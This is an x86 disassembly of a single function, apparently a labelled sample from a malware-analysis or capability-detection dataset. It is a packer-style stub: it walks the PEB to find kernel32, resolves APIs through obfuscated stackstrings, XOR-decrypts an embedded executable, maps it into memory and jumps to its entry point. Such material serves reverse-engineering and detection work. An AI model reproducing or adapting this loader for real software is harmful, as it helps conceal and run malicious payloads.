Function at 0x408000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
mov dword [ebp - 4], 0x400000
mov dword [ebp - 8], 0x1000
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov ebx, dword [eax + 0x3c]
add ebx, eax
mov ebx, dword [ebx + 0x78]
add ebx, eax
push dword [ebx + 0x1c]
push dword [ebx + 0x24]
mov ebx, dword [ebx + 0x20]
add ebx, eax
mov esi, ebx
sub esi, 4
xor edx, edx
inc edx
add esi, 4
mov ebx, dword [esi]
add ebx, eax
mov ecx, dword [ebx]
cmp ecx, 0x50746547
jne 0x40804f
mov ecx, dword [ebx + 4]
cmp ecx, 0x41636f72
jne 0x40804f
mov ecx, dword [ebx + 8]
cmp ecx, 0x65726464
jne 0x40804f
pop esi
dec edx
add esi, eax
imul edx, edx, 2
add esi, edx
xor edx, edx
mov dx, word [esi]
pop esi
add esi, eax
imul edx, edx, 4
add esi, edx
mov ebx, dword [esi]
add ebx, eax
mov dword [ebp - 0x14], ebx
xor ecx, ecx
push ecx
push 0x41797261
push 0x7262694c
push 0x64616f4c
push esp
push eax
call ebx
mov dword [ebp - 0x10], eax
add esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, 1
imul ecx, eax, 0
mov dword [ebp + ecx - 0x3c], 0x6e72656b
mov eax, 1
shl eax, 2
mov dword [ebp + eax - 0x3c], 0x32336c65
mov eax, 1
shl eax, 3
mov dword [ebp + eax - 0x3c], 0x6c6c642e
mov eax, 1
imul ecx, eax, 0xc
mov dword [ebp + ecx - 0x3c], 0
lea eax, [ebp - 0x3c]
push eax
call dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov eax, 1
imul ecx, eax, 0
mov dword [ebp + ecx - 0x60], 0x74726956
mov eax, 1
shl eax, 2
mov dword [ebp + eax - 0x60], 0x416c6175
mov eax, 1
shl eax, 3
mov dword [ebp + eax - 0x60], 0x636f6c6c
mov eax, 1
imul ecx, eax, 0xc
mov dword [ebp + ecx - 0x60], 0
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
call dword [ebp - 0x1c]
mov dword [ebp - 0x64], eax
mov eax, 1
imul ecx, eax, 0
mov dword [ebp + ecx - 0x84], 0x74726956
mov eax, 1
shl eax, 2
mov dword [ebp + eax - 0x84], 0x506c6175
mov eax, 1
shl eax, 3
mov dword [ebp + eax - 0x84], 0x65746f72
mov eax, 1
imul ecx, eax, 0xc
mov dword [ebp + ecx - 0x84], 0x7463
lea eax, [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
call dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov eax, 1
imul ecx, eax, 0
mov dword [ebp + ecx - 0xa8], 0x74726956
mov eax, 1
shl eax, 2
mov dword [ebp + eax - 0xa8], 0x466c6175
mov eax, 1
shl eax, 3
mov dword [ebp + eax - 0xa8], 0x656572
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
call dword [ebp - 0x1c]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0xb0], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0xb4], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0xb8], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xbc], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0xc0], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc8], ecx
push pe_nt_image_headers32
push 0x3000
mov eax, dword [ebp - 0xc8]
push eax
push 0
call dword [ebp - 0x64]
mov dword [ebp - 0xcc], eax
mov eax, 1
imul ecx, eax, 0
mov dword [ebp + ecx - 0xdc], 0x6f757254
mov eax, 1
shl eax, 2
mov dword [ebp + eax - 0xdc], 0x694d676e
mov eax, 1
shl eax, 3
mov dword [ebp + eax - 0xdc], 0x754c686e
mov eax, 1
imul ecx, eax, 0xc
mov dword [ebp + ecx - 0xdc], 0x21676e6f
mov dword [ebp - 0xe0], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xf8]
add eax, 0x28
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xe4], 0
jmp 0x4082ea
mov eax, dword [ebp - 0xe4]
add eax, 1
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x10
jae 0x408331
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0xe0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xe4]
movzx eax, byte [ebp + edx - 0xdc]
xor ecx, eax
mov edx, dword [ebp - 0xcc]
add edx, dword [ebp - 0xe0]
mov byte [edx], cl
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
jmp 0x4082db
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xc8]
jae 0x4083a5
mov dword [ebp - 0xe4], 0
jmp 0x40835a
mov eax, dword [ebp - 0xe4]
add eax, 1
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x10
jae 0x4083a3
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0xe0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0xe0]
movzx eax, byte [edx - 0x10]
xor ecx, eax
mov edx, dword [ebp - 0xcc]
add edx, dword [ebp - 0xe0]
mov byte [edx], cl
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
jmp 0x40834b
jmp 0x408331
mov edi, dword [ebp - 0xc]
mov al, 0
mov ecx, dword [ebp - 0xbc]
test ecx, ecx
je 0x4083ba
mov byte [edi], al
inc edi
dec ecx
jne 0x4083b4
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xfc], eax
imul eax, dword [ebp - 0xc0], 0x28
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x100], 0
mov dword [ebp - 0x108], 0
jmp 0x4083f8
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0xc0]
jae 0x408471
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x10c], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x110], ecx
mov edi, dword [ebp - 4]
add edi, dword [ebp - 0x10c]
mov esi, dword [ebp - 0xcc]
add esi, dword [ebp - 0x104]
add esi, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x110]
cld
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0x100], ecx
mov eax, dword [ebp - 0xfc]
add eax, 0x28
mov dword [ebp - 0xfc], eax
jmp 0x4083e9
push 0x8000
mov eax, dword [ebp - 0xc4]
push eax
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [ebp - 0xac]
nop
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xb4]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0xb4], 0
je 0x4086ac
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xb4]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
cmp dword [eax + 0xc], 0
je 0x4086ac
mov edx, dword [ebp - 0x118]
push edx
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 0xc]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x124], ecx
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x124]
push ecx
push edx
push ebx
mov ebx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x124]
push edx
call ebx
mov dword [ebp - 0x120], eax
pop ebx
pop edx
pop ecx
lea eax, [ebp - 0x118]
mov dword [eax], ecx
lea eax, [ebp - 0x124]
mov dword [eax], edx
mov eax, dword [ebp - 0x118]
cmp dword [eax], 0
je 0x40852e
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
mov dword [ebp - 0x184], edx
jmp 0x40853d
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x184]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 0x10]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x12c], ecx
mov eax, 1
test eax, eax
je 0x40868f
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov dword [ebp - 0x130], ecx
cmp dword [ebp - 0x130], 0
jne 0x408587
jmp 0x40868f
mov eax, dword [ebp - 0x130]
and eax, 0x80000000
je 0x408600
mov eax, dword [ebp - 0x130]
and eax, 0x7fffffff
mov dword [ebp - 0x134], eax
mov ebx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x12c]
mov edi, dword [ebp - 0x120]
push ebx
push edx
push edi
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x134]
push ecx
push ebx
call edx
lea ecx, [ebp - 0x138]
mov dword [ecx], eax
xor eax, eax
pop edi
pop edx
pop ebx
lea eax, [ebp - 0x120]
mov dword [eax], edi
lea eax, [ebp - 0x128]
mov dword [eax], ebx
lea eax, [ebp - 0x12c]
mov dword [eax], edx
xor eax, eax
lea eax, [ebp - 0x138]
mov ebx, dword [eax]
mov dword [edx], ebx
jmp 0x40866c
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x130]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x13c], edx
mov ebx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x12c]
mov edi, dword [ebp - 0x120]
push ebx
push edx
push edi
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x13c]
push ecx
push ebx
call edx
lea ecx, [ebp - 0x140]
mov dword [ecx], eax
xor eax, eax
pop edi
pop edx
pop ebx
lea eax, [ebp - 0x120]
mov dword [eax], edi
lea eax, [ebp - 0x128]
mov dword [eax], ebx
lea eax, [ebp - 0x12c]
mov dword [eax], edx
xor eax, eax
lea eax, [ebp - 0x140]
mov ebx, dword [eax]
mov dword [edx], ebx
mov eax, dword [ebp - 0x128]
add eax, 4
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x12c]
add eax, 4
mov dword [ebp - 0x12c], eax
jmp 0x40855e
pop edx
lea eax, [ebp - 0x118]
mov dword [eax], edx
mov eax, dword [ebp - 0x118]
add eax, 0x14
mov dword [ebp - 0x118], eax
jmp 0x4084b6
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 4]
leave
jmp eax